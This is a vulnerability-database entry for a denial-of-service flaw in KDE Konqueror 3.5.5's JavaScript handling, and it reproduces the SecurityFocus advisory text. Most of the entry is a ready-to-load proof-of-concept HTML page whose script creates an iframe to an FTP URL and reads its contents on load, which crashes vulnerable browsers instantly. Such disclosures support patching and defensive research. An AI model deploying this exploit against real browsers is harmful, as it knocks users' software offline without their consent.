KDE Konqueror 3.5 JavaScript IFrame Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

KDE Konqueror 3.5 JavaScript IFrame DoS Vulnerabilit


                                                source: http://www.securityfocus.com/bid/22814/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because of an error in KDE&#39;s JavaScript implementation.

An attacker may exploit this vulnerability to cause Konquerer to crash, resulting in denial-of-service conditions.

Konqueror included with KDE version 3.5.5 is vulnerable; other versions may also be affected. 

&#60;html&#62;
&#60;body&#62;

Demo of how to make Konqueror 3.5.5 crash by [email protected].&#60;p&#62;
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.&#60;p&#62;
&#60;p&#62;

&#60;script&#62;
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement(&#34;IFRAME&#34;);
iframe.setAttribute(&#34;src&#34;, &#39;ftp://localhost/anything&#39;);
iframe.setAttribute(&#34;name&#34;, &#39;myiframe&#39;);
iframe.setAttribute(&#34;id&#34;, &#39;myiframe&#39;);
iframe.setAttribute(&#34;onload&#34;, &#39;read_iframe(&#34;myiframe&#34;)&#39;);
iframe.style.width = &#34;100px&#34;;
iframe.style.height = &#34;100px&#34;;
	
document.body.appendChild(iframe);

&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1